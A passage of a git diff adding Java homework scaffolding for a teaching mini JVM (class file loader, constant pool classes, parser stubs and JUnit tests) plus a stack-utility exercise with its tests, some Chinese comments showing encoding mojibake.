+++ b/group24/Homework/4-FourWeek/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,92 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	static String path1 = "C:\\workspace\\min-jvm\\bin";
+	static String path2 = "C:\temp";
+	
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		int i=byteCodes.length;
+		// ע�⣺����ֽ������ܺ����JVM�汾�й�ϵ�� ����Կ�������õ��ൽ���ж��
+		Assert.assertEquals(2048, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+    
+    
+    
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+}
\ No newline at end of file
diff --git a/group24/Homework/4-FourWeek/jvm/test/EmployeeV1.java b/group24/Homework/4-FourWeek/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/group24/Homework/5-FifthWeek/README.txt b/group24/Homework/5-FifthWeek/README.txt
new file mode 100644
index 0000000000..8af35e8a67
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/README.txt
@@ -0,0 +1,3 @@
+1. ��Ҫʵ�ֵ�����ClassFileParser.java, ByteCodeIterator.java, 
+	ʵ�ֺ���Ҫͨ�����ԣ�ClassFileloaderTest.java
+2. ���ݽṹ�� ʵ��StackUtil
\ No newline at end of file
diff --git a/group24/Homework/5-FifthWeek/StackUtil.java b/group24/Homework/5-FifthWeek/StackUtil.java
new file mode 100644
index 0000000000..b0ec38161d
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/StackUtil.java
@@ -0,0 +1,48 @@
+package com.coding.basic.stack;
+import java.util.Stack;
+public class StackUtil {
+	
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack<Integer> s) {
+		
+		
+		
+	}
+	
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		return null;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		return false;
+	}
+	
+	
+}
diff --git a/group24/Homework/5-FifthWeek/StackUtilTest.java b/group24/Homework/5-FifthWeek/StackUtilTest.java
new file mode 100644
index 0000000000..76f2cb7668
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/StackUtilTest.java
@@ -0,0 +1,65 @@
+package com.coding.basic.stack;
+
+import java.util.Stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+public class StackUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+	
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}
diff --git a/group24/Homework/5-FifthWeek/jvm/clz/AccessFlag.java b/group24/Homework/5-FifthWeek/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..2d93c5cebf
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/clz/AccessFlag.java
@@ -0,0 +1,23 @@
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group24/Homework/5-FifthWeek/jvm/clz/ClassFile .java b/group24/Homework/5-FifthWeek/jvm/clz/ClassFile .java
new file mode 100644
index 0000000000..0406ec7b46
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/clz/ClassFile .java	
@@ -0,0 +1,58 @@
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+
+	public void print(){
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		System.out.println("Super Class Name:"+ getSuperClassName());
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
\ No newline at end of file
diff --git a/group24/Homework/5-FifthWeek/jvm/clz/ClassIndex.java b/group24/Homework/5-FifthWeek/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..f1505a5050
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/clz/ClassIndex.java
@@ -0,0 +1,17 @@
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/ClassInfo.java b/group24/Homework/5-FifthWeek/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..c8e65ff493
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/constant/ClassInfo.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);		
+	}
+}
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/ConstantInfo.java b/group24/Homework/5-FifthWeek/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..88353df2d3
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/constant/ConstantInfo.java
@@ -0,0 +1,40 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
+}
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/ConstantPool.java b/group24/Homework/5-FifthWeek/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..7130eb3a9f
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/constant/ConstantPool.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public int getSize() {		
+		return this.constantInfos.size() -1;
+	}
+	
+	
+}
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/FieldRefInfo.java b/group24/Homework/5-FifthWeek/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..7ae71396ef
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,58 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);		
+	}
+}
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/MethodRefInfo.java b/group24/Homework/5-FifthWeek/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..036e6d9055
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,60 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);		
+	}
+	
+	
+	
+}
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/NameAndTypeInfo.java b/group24/Homework/5-FifthWeek/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..5cbbba6033
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,51 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+		
+	}
+}
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/NullConstantInfo.java b/group24/Homework/5-FifthWeek/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..41e0fd7e7a
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,17 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+				
+	}
+	
+}
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/StringInfo.java b/group24/Homework/5-FifthWeek/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..6bfcb47273
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/constant/StringInfo.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+		
+	}
+	
+}
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/UTF8Info.java b/group24/Homework/5-FifthWeek/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..7db88a939e
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/constant/UTF8Info.java
@@ -0,0 +1,37 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);
+		
+	}
+	
+	
+
+}
diff --git a/group24/Homework/5-FifthWeek/jvm/loader/ByteCodeIterator.java b/group24/Homework/5-FifthWeek/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..b3a25fa8c8
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,18 @@
+package com.coderising.jvm.loader;
+
+import java.util.Arrays;
+
+import com.coderising.jvm.util.Util;
+
+public  class ByteCodeIterator {
+	private byte[] codes;
+    private int pos;
+
+    public ByteCodeIterator(byte[] codes){
+        this.codes = codes;
+    }
+
+
+	
+
+}
diff --git a/group24/Homework/5-FifthWeek/jvm/loader/ClassFileLoader.java b/group24/Homework/5-FifthWeek/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..3b8ddb6a17
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,62 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		
+		return null;
+	}
+
+}
\ No newline at end of file
diff --git a/group24/Homework/5-FifthWeek/jvm/loader/ClassFileParser.java b/group24/Homework/5-FifthWeek/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..a29d9572cd
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/loader/ClassFileParser.java
@@ -0,0 +1,62 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+
+		
+		
+		
+		return null;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		return null;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		return null;
+	}
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
+	}
+
+	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
+		
+
+	}
+
+	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+
+		
+
+	}
+	
+}
diff --git a/group24/Homework/5-FifthWeek/jvm/test/ClassFileloaderTest.java b/group24/Homework/5-FifthWeek/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..657bf296f6
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,208 @@
+package com.coderising.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
